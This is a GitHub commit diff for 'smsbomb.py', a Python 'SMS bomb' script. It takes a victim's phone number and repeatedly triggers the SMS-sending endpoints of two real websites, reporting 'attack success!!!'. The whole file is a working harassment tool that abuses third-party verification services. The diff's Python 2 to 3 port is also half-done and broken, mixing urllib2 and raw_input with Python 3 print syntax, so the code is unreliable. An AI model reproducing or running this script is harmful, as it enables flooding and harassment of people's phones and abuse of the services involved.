Add files via upload

pull/4/head
InfoSec 2016-08-12 07:39:46 +08:00 committed by GitHub
parent 2784f0a934
commit 6dce3be923
1 changed files with 60 additions and 59 deletions

View File

@ -1,6 +1,6 @@
#!/usr/bin/python #!/usr/bin/python
#-*- coding: utf-8 -*- #-*- coding: utf-8 -*-
#python2.7 #python3.5
#===================================================================================================== #=====================================================================================================
#smsbomb.py #smsbomb.py
#author: ym2011 #author: ym2011
@ -11,16 +11,17 @@
#the source code is honghu.py and operate.py #the source code is honghu.py and operate.py
#===================================================================================================== #=====================================================================================================
try: try:
import sys import sys
import os import os
import ssl
import urllib import urllib
import urllib2 import urllib2
import httplib import httplib
import re import re
import string import string
import cookielib from http import cookies
except: except ValueError:
print u ''' print (""""
运行出错: 运行出错:
以下的python 库尚未安装 以下的python 库尚未安装
@ -37,60 +38,60 @@ except:
或者使用以下方式 或者使用以下方式
easy_install httplib2 easy_install httplib2
"""")
''' sys.exit()
sys.exit(1)
def oupeng(phone):
datas=""
url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
#payload=urllib.urlencode(payload)
try: def oupeng(phone: object) -> object:
request=urllib2.Request(url=url,headers=i_headers) datas=""
response=urllib2.urlopen(request) url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone
datas=response.read() i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
print datas "Accept": "text/plain",'Referer':'http://www.oupeng.com/download'}
print 'attack success!!!' #payload=urllib.urlencode(payload)
except Exception, e:
print e try:
print "attack failed!!!" request=urllib2.Request(url=url,headers=i_headers)
response=urllib2.urlopen(request)
datas=response.read()
print (datas)
print ('attack success!!!')
except Exception as e:
print (e)
print("attack failed!!!")
def hongxiu(phone): def hongxiu(phone):
datas="" datas=""
url='http://topic.hongxiu.com/wap/action.aspx' url='http://topic.hongxiu.com/wap/action.aspx'
#请求的数据 #请求的数据
payload={'hidtpye':'1', payload={'hidtpye':'1',
'txtMobile':phone} 'txtMobile':phone}
#注意Referer不能为空 #注意Referer不能为空
i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5", i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5",
"Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'} "Accept": "text/plain",'Referer':'http://topic.hongxiu.com/wap/'}
payload=urllib.urlencode(payload) payload=urllib.urlencode(payload)
try: try:
request=urllib2.Request(url,payload,i_headers) request=urllib2.Request(url,payload,i_headers)
response=urllib2.urlopen(request) response=urllib2.urlopen(request)
datas=response.read() datas=response.read()
print datas print (datas)
print 'attack success!!!' print ('attack success!!!')
except Exception, e: except Exception:
print e print (Exception)
print "attack failed!!!" print ("attack failed!!!")
if __name__=="__main__": if __name__=="__main__":
phone=raw_input('input the phone:') phone=raw_input('input the phone:')
oupeng(phone) oupeng(phone)
hongxiu(phone) hongxiu(phone)